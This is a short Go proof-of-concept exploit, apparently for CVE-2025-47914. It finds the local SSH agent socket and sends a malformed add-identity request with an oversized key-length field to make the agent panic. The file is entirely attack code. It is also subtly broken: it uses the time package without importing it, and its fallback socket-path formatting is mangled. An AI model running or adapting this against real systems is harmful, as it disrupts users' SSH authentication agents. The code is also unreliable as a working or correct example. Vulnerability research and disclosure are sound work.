// CVE-2025-47914 PoC - Malformed SSH Agent Identity Request
// This PoC demonstrates sending a malformed identity request to trigger panic
package main
import (
"bytes"
"encoding/binary"
"fmt"
"net"
"os"
"os/user"
"path/filepath"
)
const SSH_AGENTC_ADD_IDENTITY = 17
func buildMalformedIdentityRequest() []byte {
var buf bytes.Buffer
// Message type
buf.WriteByte(SSH_AGENTC_ADD_IDENTITY)
// Protocol string length - valid value
binary.Write(&buf, binary.BigEndian, uint32(7))
buf.WriteString("ssh-rsa")
// RSA public key blob with oversized length
// This causes out of bounds read
oversizedLen := uint32(0x7FFFFFFF)
binary.Write(&buf, binary.BigEndian, oversizedLen)
// Comment field
binary.Write(&buf, binary.BigEndian, uint32(4))
buf.WriteString("test")
return buf.Bytes()
}
func getSSHAgentSocket() string {
if sock := os.Getenv("SSH_AUTH_SOCK"); sock != "" {
return sock
}
usr, _ := user.Current()
defaultSock := filepath.Join(os.TempDir(), fmt.Sprintf("ssh-%%C/agent.%s", usr.Uid))
// Try common SSH agent socket patterns
for i := 0; i < 10; i++ {
sockPath := fmt.Sprintf(defaultSock, i)
if _, err := os.Stat(sockPath); err == nil {
return sockPath
}
}
return ""
}
func main() {
sockPath := getSSHAgentSocket()
if sockPath == "" {
fmt.Println("SSH Agent socket not found")
os.Exit(1)
}
fmt.Printf("Connecting to SSH Agent: %s\n", sockPath)
conn, err := net.Dial("unix", sockPath)
if err != nil {
fmt.Printf("Failed to connect: %v\n", err)
os.Exit(1)
}
defer conn.Close()
payload := buildMalformedIdentityRequest()
// Send length-prefixed message
lenBuf := make([]byte, 4)
binary.BigEndian.PutUint32(lenBuf, uint32(len(payload)))
_, err = conn.Write(lenBuf)
if err != nil {
fmt.Printf("Failed to send length: %v\n", err)
os.Exit(1)
}
_, err = conn.Write(payload)
if err != nil {
fmt.Printf("Failed to send payload: %v\n", err)
os.Exit(1)
}
fmt.Println("Malformed request sent. If vulnerable, SSH Agent may panic.")
// Read response (may fail if agent panicked)
response := make([]byte, 1024)
conn.SetReadDeadline(time.Now().Add(2 * time.Second))
n, err := conn.Read(response)
if err != nil {
fmt.Printf("Agent response error (may have panicked): %v\n", err)
} else {
fmt.Printf("Response: %x\n", response[:n])
}
}